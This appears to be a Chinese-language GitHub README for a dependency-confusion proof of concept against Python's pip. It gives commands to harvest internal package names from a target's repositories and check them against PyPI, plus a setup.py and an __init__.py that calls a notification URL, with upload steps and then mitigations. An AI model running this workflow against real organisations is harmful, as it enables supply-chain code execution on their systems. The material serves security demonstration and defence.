techghoshal/Python_dependency_confusion_attacks
GitHub: techghoshal/Python_dependency_confusion_attacks
Python依赖混淆攻击的概念验证项目,演示如何利用pip包解析优先级机制实现供应链RCE。
Stars: 12 | Forks: 2
Python Dependency Confusion Attacks POC

# 简介
依赖混淆是一种供应链漏洞,当包管理器无意中从公共仓库安装了恶意包,而不是预期的私有包时,就会发生这种情况。这个问题在 Python 的包管理系统中尤为普遍,如果配置不当,像 `pip` 这样的工具可能会优先选择公共包而不是私有包。利用这种行为可能导致严重的后果,包括在目标系统上执行远程代码 (RCE)。
# 攻击概述
依赖混淆攻击的典型工作流程包括以下步骤:
1. **识别目标依赖项**:攻击者在公共仓库中搜索 `requirements.txt` 文件,以识别组织使用的内部包名称。
2. 验证包的可用性:对于每个识别出的包,攻击者会检查公共 Python 包索引 [(PyPI)](https://pypi.org/) 上是否存在该包。这可以通过 `httpx` 等工具自动化完成,通过检测 404 响应来表明该包在 PyPI 上不存在。
3. **发布恶意包**:攻击者在 PyPI 上创建并发布与内部包同名的恶意包。这些恶意包可以被设计为在安装时执行任意代码。
4. **触发安装**:当目标组织在没有严格索引配置的情况下安装依赖项时,`pip` 可能会从 PyPI 获取恶意包,从而导致在该组织的环境中执行代码。
# 概念验证
该仓库提供了一个演示此攻击向量的 PoC:
- **克隆目标仓库**:利用 [ghorg](https://github.com/gabrie30/ghorg) 等工具克隆目标组织的所有仓库。
```
ghorg clone
-t
```
- **提取依赖项**:搜索 `requirements.txt` 文件并提取包名称。
```
find . -type f -name requirements.txt | \
xargs -n1 -I{} cat {} | \
sed 's/[><=~!].*//' | \
tr -d '[:space:]' | \
sort -u | \
xargs -I{} sh -c 'curl -s -o /dev/null -w "%{http_code} https://pypi.org/project/{}/\n" https://pypi.org/project/{}/' | \
grep "^404"
```
- **创建恶意包**:对于每个易受攻击的包:
```
$ mkdir
$ cd
$ mkdir
$ cd
$ touch __init__.py
```
- **将恶意代码插入** `__init__.py`:
```
import requests
# 向监控 URL 发送请求
requests.get("https://example.com/notify")
```
- 保存此文件并从目录中返回 `cd..`
- **创建**具有适当元数据的 `setup.py`:
**注意**:包的版本必须与易受攻击包的版本一致
```
from setuptools import setup, find_packages
setup(
name="",
version="0.0.1",
author="Attacker Name",
author_email="attacker@example.com",
description="Malicious package for dependency confusion attack",
packages=find_packages(),
install_requires=['requests'],
)
```
- 构建包并将其上传到 PyPI:
```
$ python3 setup.py sdist bdist_wheel
$ pip3 install twine
$ twine upload dist/*
```
# 缓解策略
为了防止依赖混淆攻击:
- **配置包索引**:在 `pip` 中使用 `--index-url` 和 `--extra-index-url` 选项,将私有仓库优先于公共仓库。
- **实施包范围**:采用 `pip` 即将推出的功能(根据 [PEP 708](https://peps.python.org/pep-0708/))为特定包定义可信来源。
- **监控和审计依赖项**:定期扫描依赖项中的异常情况,并确保所有内部包也存在于私有仓库中,以防止未经授权的公共版本。
- **使用依赖管理工具**:利用 [Thoth](https://developers.redhat.com/articles/2021/12/21/prevent-python-dependency-confusion-attacks-thoth) 等工具来安全地管理和解析依赖项。
# 结论
依赖混淆对软件供应链构成了重大风险。通过了解攻击向量并实施稳健的依赖管理实践,组织可以减轻威胁并保护其开发环境。
### 联系我
如果您有任何疑问,可以随时在 [Linkedin](https://www.linkedin.com/in/anindyaghoshal/) 上联系我标签:Cutter, Maven, pip, POC, PyPI, Python, RCE, TechGhoshal, 供应链攻击, 依赖混淆, 包管理器, 恶意软件, 攻击演示, 无后门, 漏洞验证, 统一API, 编程工具, 网络安全, 软件开发工具包, 远程代码执行, 逆向工具, 隐私保护